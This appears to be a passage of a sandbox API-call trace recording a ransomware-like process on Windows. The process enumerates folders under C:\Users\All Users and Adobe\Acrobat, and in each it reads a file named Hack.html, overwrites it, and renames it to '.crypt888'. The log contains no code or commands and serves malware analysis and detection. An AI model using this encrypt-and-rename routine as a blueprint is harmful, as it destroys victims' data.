[0085.743] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0085.743] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users", lpFilePart=0x0) returned 0x12 [0085.743] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\", lpFilePart=0x0) returned 0x13 [0085.743] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x599f28 [0085.744] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0085.744] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0085.744] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0085.744] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0085.744] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0085.744] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0085.745] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0085.745] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0085.745] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0085.745] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0085.745] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0085.745] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0085.745] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0085.746] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0085.746] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0085.746] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0085.746] FindClose (in: hFindFile=0x599f28 | out: hFindFile=0x599f28) returned 1 [0085.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0085.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0085.746] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0085.746] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users", lpFilePart=0x0) returned 0x12 [0085.746] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\", lpFilePart=0x0) returned 0x13 [0085.746] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x599f28 [0085.746] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0085.747] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0085.747] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0085.747] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0085.747] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0085.747] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0085.747] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0085.747] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0085.747] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0085.747] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0085.748] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0085.748] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0085.748] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0085.748] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0085.748] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0085.748] FindNextFileW (in: hFindFile=0x599f28, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0085.748] FindClose (in: hFindFile=0x599f28 | out: hFindFile=0x599f28) returned 1 [0085.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0085.748] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0085.748] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7e4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Hack.html", lpFilePart=0x0) returned 0x1c [0085.748] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecd8) returned 1 [0085.748] CreateFileW (lpFileName="C:\\Users\\All Users\\Hack.html" (normalized: "c:\\users\\all users\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.749] GetFileType (hFile=0x174) returned 0x1 [0085.749] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecd4) returned 1 [0085.749] GetFileType (hFile=0x174) returned 0x1 [0085.749] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ede0 | out: lpFileSizeHigh=0x39ede0*=0x0) returned 0xba [0085.749] ReadFile (in: hFile=0x174, lpBuffer=0x29631cc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed8c, lpOverlapped=0x0 | out: lpBuffer=0x29631cc*, lpNumberOfBytesRead=0x39ed8c*=0xba, lpOverlapped=0x0) returned 1 [0085.763] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Hack.html", lpFilePart=0x0) returned 0x1c [0085.763] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0085.763] CreateFileW (lpFileName="C:\\Users\\All Users\\Hack.html" (normalized: "c:\\users\\all users\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.765] GetFileType (hFile=0x174) returned 0x1 [0085.765] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecbc) returned 1 [0085.765] GetFileType (hFile=0x174) returned 0x1 [0085.765] WriteFile (in: hFile=0x174, lpBuffer=0x29b130c*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ed50, lpOverlapped=0x0 | out: lpBuffer=0x29b130c*, lpNumberOfBytesWritten=0x39ed50*=0xc0, lpOverlapped=0x0) returned 1 [0085.766] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e904, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Hack.html", lpFilePart=0x0) returned 0x1c [0085.766] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e904, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Hack.html.crypt888", lpFilePart=0x0) returned 0x25 [0085.766] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed64) returned 1 [0085.766] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Hack.html" (normalized: "c:\\users\\all users\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ede0 | out: lpFileInformation=0x39ede0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xba355a80, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xba355a80, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc450d120, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0085.766] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed60) returned 1 [0085.766] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Hack.html" (normalized: "c:\\users\\all users\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\hack.html.crypt888")) returned 1 [0085.766] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0085.766] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe", lpFilePart=0x0) returned 0x18 [0085.766] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\", lpFilePart=0x0) returned 0x19 [0085.767] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a1a8 [0085.767] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0085.767] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0085.767] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0085.767] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0085.767] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0085.767] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0085.767] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0085.767] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0085.768] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0085.768] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe", lpFilePart=0x0) returned 0x18 [0085.768] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\", lpFilePart=0x0) returned 0x19 [0085.768] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a1a8 [0085.768] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0085.768] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0085.768] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0085.768] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0085.768] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0085.768] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0085.768] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0085.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0085.769] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\Hack.html", lpFilePart=0x0) returned 0x22 [0085.769] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0085.769] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\Hack.html" (normalized: "c:\\users\\all users\\adobe\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.769] GetFileType (hFile=0x174) returned 0x1 [0085.769] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0085.769] GetFileType (hFile=0x174) returned 0x1 [0085.769] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0xba [0085.769] ReadFile (in: hFile=0x174, lpBuffer=0x29b3b10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x29b3b10*, lpNumberOfBytesRead=0x39ed58*=0xba, lpOverlapped=0x0) returned 1 [0085.785] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\Hack.html", lpFilePart=0x0) returned 0x22 [0085.785] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0085.785] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\Hack.html" (normalized: "c:\\users\\all users\\adobe\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.786] GetFileType (hFile=0x174) returned 0x1 [0085.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0085.786] GetFileType (hFile=0x174) returned 0x1 [0085.786] WriteFile (in: hFile=0x174, lpBuffer=0x2a01c5c*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ed1c, lpOverlapped=0x0 | out: lpBuffer=0x2a01c5c*, lpNumberOfBytesWritten=0x39ed1c*=0xc0, lpOverlapped=0x0) returned 1 [0085.787] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\Hack.html", lpFilePart=0x0) returned 0x22 [0085.788] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\Hack.html.crypt888", lpFilePart=0x0) returned 0x2b [0085.788] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0085.788] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Hack.html" (normalized: "c:\\users\\all users\\adobe\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xba355a80, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xba355a80, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc45593e0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0085.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0085.788] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Adobe\\Hack.html" (normalized: "c:\\users\\all users\\adobe\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Adobe\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\adobe\\hack.html.crypt888")) returned 1 [0085.788] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0085.788] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\Acrobat", lpFilePart=0x0) returned 0x20 [0085.788] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\Acrobat\\", lpFilePart=0x0) returned 0x21 [0085.788] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a6a8 [0085.789] FindNextFileW (in: hFindFile=0x59a6a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0085.789] FindNextFileW (in: hFindFile=0x59a6a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0085.789] FindNextFileW (in: hFindFile=0x59a6a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0085.789] FindNextFileW (in: hFindFile=0x59a6a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0085.789] FindClose (in: hFindFile=0x59a6a8 | out: hFindFile=0x59a6a8) returned 1 [0085.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0085.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0085.789] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0085.789] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\Acrobat", lpFilePart=0x0) returned 0x20 [0085.789] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\Acrobat\\", lpFilePart=0x0) returned 0x21 [0085.789] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a6a8 [0085.790] FindNextFileW (in: hFindFile=0x59a6a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0085.790] FindNextFileW (in: hFindFile=0x59a6a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0085.790] FindNextFileW (in: hFindFile=0x59a6a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0085.790] FindNextFileW (in: hFindFile=0x59a6a8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0085.790] FindClose (in: hFindFile=0x59a6a8 | out: hFindFile=0x59a6a8) returned 1 [0085.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0085.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0085.790] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\Acrobat\\Hack.html", lpFilePart=0x0) returned 0x2a [0085.791] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0085.791] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\Hack.html" (normalized: "c:\\users\\all users\\adobe\\acrobat\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.791] GetFileType (hFile=0x174) returned 0x1 [0085.791] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0085.791] GetFileType (hFile=0x174) returned 0x1 [0085.791] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0xba [0085.791] ReadFile (in: hFile=0x174, lpBuffer=0x2a044dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x2a044dc*, lpNumberOfBytesRead=0x39ed24*=0xba, lpOverlapped=0x0) returned 1 [0085.857] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\Acrobat\\Hack.html", lpFilePart=0x0) returned 0x2a [0085.857] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0085.857] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\Hack.html" (normalized: "c:\\users\\all users\\adobe\\acrobat\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.858] GetFileType (hFile=0x174) returned 0x1 [0085.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0085.858] GetFileType (hFile=0x174) returned 0x1 [0085.859] WriteFile (in: hFile=0x174, lpBuffer=0x271b5a8*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ece8, lpOverlapped=0x0 | out: lpBuffer=0x271b5a8*, lpNumberOfBytesWritten=0x39ece8*=0xc0, lpOverlapped=0x0) returned 1 [0085.860] CloseHandle (hObject=0x174) returned 1 [0085.860] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\Acrobat\\Hack.html", lpFilePart=0x0) returned 0x2a [0085.860] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\Acrobat\\Hack.html.crypt888", lpFilePart=0x0) returned 0x33 [0085.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0085.860] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\Hack.html" (normalized: "c:\\users\\all users\\adobe\\acrobat\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xba32f920, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xba32f920, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc45f1960, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0085.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0085.860] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\Hack.html" (normalized: "c:\\users\\all users\\adobe\\acrobat\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\adobe\\acrobat\\hack.html.crypt888")) returned 1 [0085.861] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0085.861] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0", lpFilePart=0x0) returned 0x25 [0085.861] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\", lpFilePart=0x0) returned 0x26 [0085.861] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a228 [0085.861] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0085.862] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0085.862] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0085.862] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0085.862] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0085.862] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0085.862] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0085.862] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0085.862] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0", lpFilePart=0x0) returned 0x25 [0085.862] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\", lpFilePart=0x0) returned 0x26 [0085.862] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a228 [0085.863] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0085.863] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0085.863] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0085.863] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0085.863] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0085.863] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0085.863] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0085.863] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Hack.html", lpFilePart=0x0) returned 0x2f [0085.864] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0085.864] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Hack.html" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, 